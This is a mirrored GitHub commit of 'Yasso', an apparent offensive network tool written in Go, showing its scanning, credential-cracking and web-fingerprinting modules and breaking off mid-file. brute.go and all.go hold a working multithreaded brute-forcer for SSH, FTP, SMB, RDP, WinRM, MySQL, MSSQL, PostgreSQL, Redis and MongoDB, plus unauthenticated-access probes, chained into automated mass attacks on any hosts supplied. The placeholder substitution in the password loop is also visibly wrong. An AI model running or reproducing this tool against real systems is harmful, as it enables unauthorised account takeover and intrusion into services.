1
0
mirror of https://github.com/sairson/Yasso.git synced 2026-06-18 01:37:06 +08:00

Add files via upload

first upload
This commit is contained in:
SaiRson
2022-01-05 22:23:51 +08:00
committed by GitHub
parent 599a51e9a9
commit 2b2d988ae9
34 changed files with 11153 additions and 0 deletions

132
cmd/all.go Normal file
View File

@@ -0,0 +1,132 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"sync"
"time"
)
/*
全体扫描模块
将逐步执行每个任务
*/
func printHeader(){
}
var allCmd = &cobra.Command{
Use: "all",
Short: "Use all scanner module (.attention)\nSome service not support proxy,You might lose it [*]",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
allRun(Hosts,Ports,LogBool,Runtime,PingBool)
return
},
}
func init(){
allCmd.Flags().StringVarP(&Hosts,"host","H","","Set `hosts`(The format is similar to Nmap)")
allCmd.Flags().StringVarP(&Ports,"ports","P","","Set `ports`(The format is similar to Nmap)")
allCmd.Flags().BoolVar(&PingBool,"noping",true,"No use ping to scanner alive host")
allCmd.Flags().IntVar(&Runtime,"runtime",100,"Set scanner ants pool thread")
allCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy")
allCmd.Flags().DurationVar(&TimeDuration,"time",1 * time.Second,"Set timeout ")
rootCmd.AddCommand(allCmd)
}
func allRun(hostString string,portString string,log bool,runtime int,noping bool){
// 先对程序进行ping扫描
// 解析hosts
var (
ips []string
ports []int
webports []int
alive []string
wg sync.WaitGroup
)
if hostString != "" {
ips,_ = ResolveIPS(hostString) // 解析ip并获取ip列表
}
if Ports != "" {
ports ,_ = ResolvePORTS(portString)
webports,_ = ResolvePORTS(config.DisMapPorts)
}else{
ports ,_ = ResolvePORTS(DefaultPorts)
webports,_ = ResolvePORTS(config.DisMapPorts)
}
if noping == true {
// 不执行ping操作
alive = ips
}else{
// 执行 ping 操作
fmt.Println("----- [Yasso] Start do ping scan -----")
alive = execute(ips)
}
// 做漏洞扫描
if len(alive) > 0 {
fmt.Println("----- [Yasso] Start do vuln scan -----")
VulScan(alive,false,true,false) // 做全扫描
fmt.Println("----- [Yasso] Start do port scan -----")
PortResults := PortScan(alive,ports)
// 获取我们的端口扫描结果,去遍历
if len(PortResults) != 0 {
fmt.Println("----- [Yasso] Start do crack service -----")
for _,v := range PortResults {
// 这里做漏洞扫描
wg.Add(1)
go func(v PortResult) {
defer wg.Done()
for _,p := range v.Port {
switch p {
case 21:
users,pass := ReadTextToDic("ftp",UserDic,PassDic)
burpTask(v.IP,"ftp",users,pass,p,100,1*time.Second,"",false)
case 22:
users,pass := ReadTextToDic("ssh",UserDic,PassDic)
burpTask(v.IP,"ssh",users,pass,p,100,1*time.Second,"",false)
case 3306:
users,pass := ReadTextToDic("mysql",UserDic,PassDic)
burpTask(v.IP,"mysql",users,pass,p,100,1*time.Second,"",false)
case 6379:
_,_,_ = RedisUnAuthConn(config.HostIn{Host: v.IP,Port: p,TimeOut:1 * time.Second},"test","test")
users,pass := ReadTextToDic("redis",UserDic,PassDic)
burpTask(v.IP,"redis",users,pass,p,100,5*time.Second,"",false)
case 1433:
users,pass := ReadTextToDic("mssql",UserDic,PassDic)
burpTask(v.IP,"mssql",users,pass,p,100,1*time.Second,"",false)
case 5432:
users,pass := ReadTextToDic("postgres",UserDic,PassDic)
burpTask(v.IP,"postgres",users,pass,p,100,1*time.Second,"",false)
case 27017:
_,_ = MongoUnAuth(config.HostIn{Host: v.IP,Port: p,TimeOut: 1*time.Second},"test","test")
users,pass := ReadTextToDic("mongodb",UserDic,PassDic)
burpTask(v.IP,"mongodb",users,pass,p,100,1*time.Second,"",false)
case 445:
users,pass := ReadTextToDic("smb",UserDic,PassDic)
burpTask(v.IP,"smb",users,pass,p,100,1*time.Second,"",false)
case 5985:
users,pass := ReadTextToDic("rdp",UserDic,PassDic) // winrm与本地rdp认证相同
burpTask(v.IP,"winrm",users,pass,p,100,1*time.Second,"",false)
}
}
}(v)
}
wg.Wait()
}
// 做网卡扫描
fmt.Println("----- [Yasso] Start do Windows service scan -----")
winscan(alive,true)
fmt.Println("----- [Yasso] Start do web service scan -----")
DisMapScan(alive,webports)
}
}

237
cmd/brute.go Normal file
View File

@@ -0,0 +1,237 @@
package cmd
import (
"Yasso/config"
"bufio"
"fmt"
"github.com/panjf2000/ants/v2"
"github.com/spf13/cobra"
"io"
"log"
"math"
"os"
"reflect"
"strings"
"sync"
"time"
)
// 爆破模块
const (
Clearln = "\r\x1b[2K"
)
var BruteCmd = &cobra.Command{
Use: "crack",
Short: "crack module and extend tool",
Run: func(cmd *cobra.Command, args []string) {
cmd.DisableFlagsInUseLine = true
_ = cmd.Help()
},
}
func init(){
// 添加全局变量
BruteCmd.PersistentFlags().StringVarP(&Hosts,"hosts","H","","to crack hosts address (crack Must)")
BruteCmd.PersistentFlags().IntVar(&BrutePort,"port",0,"to crack hosts port (if not set use default)")
BruteCmd.PersistentFlags().IntVar(&Runtime,"runtime",100,"set crack thread number")
BruteCmd.PersistentFlags().BoolVarP(&BruteFlag,"crack","",false,"make sure to use crack")
BruteCmd.PersistentFlags().DurationVar(&TimeDuration,"timeout",1 * time.Second,"crack module timeout(.eg) 1s (ns,ms,s,m,h)")
BruteCmd.PersistentFlags().StringVar(&PassDic,"pd","","pass dic path (.eg) pass.txt")
BruteCmd.PersistentFlags().StringVar(&UserDic,"ud","","user dic path (.eg) user.txt")
BruteCmd.PersistentFlags().StringVar(&ProxyHost,"proxy","","set socks5 proxy address")
BruteCmd.AddCommand(SshCmd)
BruteCmd.AddCommand(WinRMCmd)
BruteCmd.AddCommand(SmbCmd)
BruteCmd.AddCommand(Log4jCmd)
BruteCmd.AddCommand(RedisCmd)
BruteCmd.AddCommand(RdpCmd)
BruteCmd.AddCommand(MysqlCmd)
BruteCmd.AddCommand(MssqlCmd)
BruteCmd.AddCommand(FtpCmd)
BruteCmd.AddCommand(PostgreCmd)
BruteCmd.AddCommand(MongoCmd)
rootCmd.AddCommand(BruteCmd)
}
var BurpModule = map[string]interface{}{
"ssh":SshConnByUser,
"mysql":MySQLConn,
"mssql":MssqlConn,
"redis":RedisAuthConn,
"unredis":RedisUnAuthConn, // redis 未授权
"postgres":PostgreConn,
"smb":SmbConn,
"ftp":FtpConn,
"rdp":RdpConn,
"winrm":WinRMAuth,
"mongodb":MongoAuth,
"unmongodb":MongoUnAuth, // mongodb 未授权
}
func BurpCall(EncryptMap map[string]interface{},name string,params ...interface{}) []reflect.Value {
f := reflect.ValueOf(EncryptMap[name]) // 获取map键位name的值
if len(params) != f.Type().NumIn() { // 如果参数的值不等于函数所需要的值
log.Println(fmt.Sprintf("[ERROR] Burp Call Func key name %s is failed",name))
os.Exit(1)
}
args := make([]reflect.Value,len(params))
for k,param := range params {
if param == "" || param == 0 {
continue
}
//Println()(param)
args[k] = reflect.ValueOf(param)
}
//Println()(args)
return f.Call(args) // 调用函数并返回结果
}
func SwitchBurp(service string,users []string,pass []string,hosts []string,port int,thread int,timeout time.Duration,Domain string){
// 传入的参数均为3个
// 调用方式
var tunnel = make(chan string,20)
var wg sync.WaitGroup
go func() {
for _,ip := range hosts{
tunnel <- ip
}
}()
for i:=0;i<len(hosts);i++{
wg.Add(1)
_ = ants.Submit(func() {
ip := <- tunnel
burpTask(ip,service,users,pass,port,thread,timeout,Domain,true)
wg.Done()
})
}
wg.Wait()
Println(fmt.Sprintf(Clearln + "[*] brute %s done",service))
//Println()(service,users,pass,hosts,port,thread,BurpModule)
}
/***
* 从新计算爆破方式之前的爆破是采用分割user进行的但是发现user数量会远少于password所以按照password进行分割
*/
func burpTask(host,service string,users []string,pass []string,port int,thread int,timeout time.Duration,Domain string,run bool){
var t int
var wg sync.WaitGroup
if len(pass) <= thread{
t = len(pass)
}else{
// 计算user数量
t = thread // 协程数量
}
num := int(math.Ceil(float64(len(pass)) / float64(thread))) // 每个协程的user数量
// 分割用户名
all := map[int][]string{}
for i:=1;i <= t;i++{
for j:=0;j < num ; j++{
tmp := (i-1)*num + j
if tmp < len(pass) {
all[i] = append(all[i],pass[tmp])
}
}
}
if run {
go func() {
for {
for _, r := range `-\|/` {
fmt.Printf("\r%c brute: wating ... %c",r,r)
time.Sleep(200 * time.Millisecond)
}
}
}()
}
if service == "redis" && run == true {
BurpCall(BurpModule,"unredis",config.HostIn{Host: host,Port: BrutePort,TimeOut: TimeDuration},"test","test")
}
if service == "mongodb" && run == true {
BurpCall(BurpModule,"unmongodb",config.HostIn{Host: host,Port: BrutePort,TimeOut: TimeDuration},"test","test")
}
//Println()(all,num,t)
for i:= 1 ; i <= t ; i++{
wg.Add(1)
tmp := all[i]
_ = ants.Submit(func() {
for _,p := range tmp {
for _,u := range users {
if strings.Contains(p,"{user}") {
p = strings.ReplaceAll(p,"{user}",p)
}
result := BurpCall(BurpModule,service,config.HostIn{Host: host,Port: port,TimeOut: time.Duration(timeout),Domain: Domain},u,p)
burpStatus(result,service,host,Domain,u,p)
}
}
wg.Done()
})
}
wg.Wait()
}
func burpStatus(result []reflect.Value,service,host,domain,user,pass string) {
// 这里是判断类型并返回结果的函数
if len(result) > 0 {
for _,v := range result {
switch v.Kind() {
case reflect.Bool:
if v.Bool() == true {
if domain != ""{
domain = domain+"\\"
}
Println(fmt.Sprintf(Clearln + `[+] %s brute %s success [%v%s:%s]`,host,service,domain,user,pass))
}
}
}
}
}
func Readiness(file *os.File) []string {
var readiness []string /*定义一个空切片用于存储遍历后的数据*/
buf := bufio.NewReader(file) /*建立一个缓冲区,将文本内容写入缓冲区*/
for {
data, errR := buf.ReadBytes('\n') /*读取到\n截至*/
if errR != nil {
if errR == io.EOF{
break
}
return readiness
}
str := strings.TrimSpace(string(data))
readiness = append(readiness,str) /*将去除换行符的字符串写入切片*/
}
return readiness
}
func ReadTextToDic(service,user,pass string) ([]string,[]string){
var (
userdic = config.Userdict[service]
passdic = config.Passwords
)
if user != "" {
userive, err := os.Open(user)
if err != nil {
Println(fmt.Sprintf(Clearln + "[ERROR] Open %s is failed,please check your user dic path",UserDic))
return []string{},[]string{}
}
userdic = Readiness(userive)
}
if pass != "" {
passive, err := os.Open(pass)
if err != nil {
Println(fmt.Sprintf(Clearln + "[ERROR] Open %s is failed,please check your pass dic path",PassDic))
return []string{},[]string{}
}
passdic = Readiness(passive)
}
return userdic,passdic
}

676
cmd/dismap.go Normal file
View File

@@ -0,0 +1,676 @@
package cmd
import (
"Yasso/config"
"fmt"
"github.com/spf13/cobra"
"math"
"regexp"
"runtime"
"strconv"
"sync"
"time"
)
func init(){
rootCmd.AddCommand(DisMapCmd)
DisMapCmd.Flags().DurationVarP(&TimeDuration,"time","t",1 * time.Second,"Set timeout (eg.) -t 50ms(ns,ms,s,m,h)")
DisMapCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)")
DisMapCmd.Flags().StringVarP(&Ports,"ports","p","","Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389")
DisMapCmd.Flags().IntVarP(&Runtime,"runtime","r",508,"Set scanner ants pool thread")
DisMapCmd.Flags().BoolVar(&PingBool,"ping",false,"Use ping to scan alive host")
DisMapCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy and use it ")
}
var DisMapCmd = &cobra.Command{
Use: "webscan",
Short: "Use dismap module discover Web fingerprints (support proxy)",
Run: func(cmd *cobra.Command, args []string) {
if Hosts == "" {
_ = cmd.Help()
return
}
var ports []int
hosts ,_ := ResolveIPS(Hosts)
var runhosts []string
if PingBool == true {
runhosts = execute(hosts)
}else{
runhosts = hosts
}
// 解析获取ip地址
if Ports != "" {
ports, _ = ResolvePORTS(Ports)
}else{
ports ,_ = ResolvePORTS(config.DisMapPorts)
}
Println(fmt.Sprintf("[Yasso] Find Host %v,Need scan %v",len(runhosts),len(runhosts) * len(ports)))
if len(hosts) <= 0 || len(ports) <= 0 {
// resolve failed
return
}
DisMapScan(runhosts,ports)
Println("[Yasso] scan Complete !")
},
}
func DisMapScan(host []string,ports []int){
var wg sync.WaitGroup
for _,ip := range host{
wg.Add(1)
EachDisMap(ip,ports,&wg)
}
wg.Wait()
}
func EachDisMap(host string,ports[]int,w *sync.WaitGroup){
defer w.Done()
var wg sync.WaitGroup
// 计算一个协程需要扫描多少端口
var thread int
// 如果端口数小于协程数量,thread为端口数量
if len(ports) <= Runtime {
thread = len(ports)
}else{
// 计算端口数量
thread = Runtime // 协程数量
}
num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量
// 分割端口
all := map[int][]int{}
for i:=1;i <= thread;i++{
for j:=0;j < num ; j++{
tmp := (i-1)*num + j
if tmp < len(ports) {
all[i] = append(all[i],ports[tmp])
}
}
}
//Println(all)
for i:= 1 ; i <= thread ; i++{
wg.Add(1)
tmp := all[i]
go func() {
defer wg.Done()
// 1,2 2,3
//Println(i,thread)
for _,port := range tmp {
// 遍历每一个端口列表
DisMapConn(host,port)
}
}()
}
wg.Wait()
}
func DisMapConn(host string,port int) bool {
url := ParseUrl(host, strconv.Itoa(port))
for _,r := range Identify (url,TimeDuration){
if r.RespCode != ""{
Println(fmt.Sprintf("[+] %v %v %v %v",r.RespCode,r.Url,r.Result,r.Title))
}
}
return true
}
type IdentifyResult struct {
Type string
RespCode string
Result string
ResultNc string
Url string
Title string
}
func Identify(url string, timeout time.Duration) []IdentifyResult {
var DefaultFavicon string
var CustomFavicon string
var DefaultTarget string
var CustomTarget string
var Favicon string
var RequestRule string
var RespTitle string
var RespBody string
var RespHeader string
var RespCode string
var DefaultRespTitle string
var DefaultRespBody string
var DefaultRespHeader string
var DefaultRespCode string
var CustomRespTitle string
var CustomRespBody string
var CustomRespHeader string
var CustomRespCode string
for _, resp := range DefaultRequests(url, timeout) { // Default Request
DefaultRespBody = resp.RespBody
DefaultRespHeader = resp.RespHeader
DefaultRespCode = resp.RespStatusCode
DefaultRespTitle = resp.RespTitle
DefaultTarget = resp.Url
DefaultFavicon = resp.FaviconMd5
}
// start identify
var identifyData []string
var successType string
for _, rule := range config.RuleData {
if rule.Http.ReqMethod != "" { // Custom Request Result
for _, resp := range CustomRequests(url, timeout, rule.Http.ReqMethod, rule.Http.ReqPath, rule.Http.ReqHeader, rule.Http.ReqBody) {
CustomRespBody = resp.RespBody
CustomRespHeader = resp.RespHeader
CustomRespCode = resp.RespStatusCode
CustomRespTitle = resp.RespTitle
CustomTarget = resp.Url
CustomFavicon = resp.FaviconMd5
}
url = CustomTarget
Favicon = CustomFavicon
RespBody = CustomRespBody
RespHeader = CustomRespHeader
RespCode = CustomRespCode
RespTitle = CustomRespTitle
// If the http request fails, then RespBody and RespHeader are both null
// At this time, it is considered that the url does not exist
if RespBody == RespHeader {
continue
}
if rule.Mode == "" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 2 {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
}
}
if rule.Mode == "and|and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 3 {
identifyData = append(identifyData, rule.Name)
RequestRule = "CustomRequest"
}
}
if rule.Mode == "or|or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "and|or" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[1], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
if rule.Mode == "or|and" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
successType = rule.Type
continue
}
}
}
} else { // Default Request Result
url = DefaultTarget
Favicon = DefaultFavicon
RespBody = DefaultRespBody
RespHeader = DefaultRespHeader
RespCode = DefaultRespCode
RespTitle = DefaultRespTitle
// If the http request fails, then RespBody and RespHeader are both null
// At this time, it is considered that the url does not exist
if RespBody == RespHeader {
continue
}
if rule.Mode == "" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 2 {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
}
}
if rule.Mode == "and|and" {
index := 0
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
index = index + 1
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
index = index + 1
}
}
if index == 3 {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
}
}
if rule.Mode == "or|or" {
if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "and|or" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
allType := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(allType[1], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(allType[1], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(allType[1], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
}
if rule.Mode == "or|and" {
grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)")
all_type := grep.FindStringSubmatch(rule.Type)
//Println(all_type)
if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
}
if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 {
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) {
identifyData = append(identifyData, rule.Name)
RequestRule = "DefaultRequest"
successType = rule.Type
continue
}
if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) {
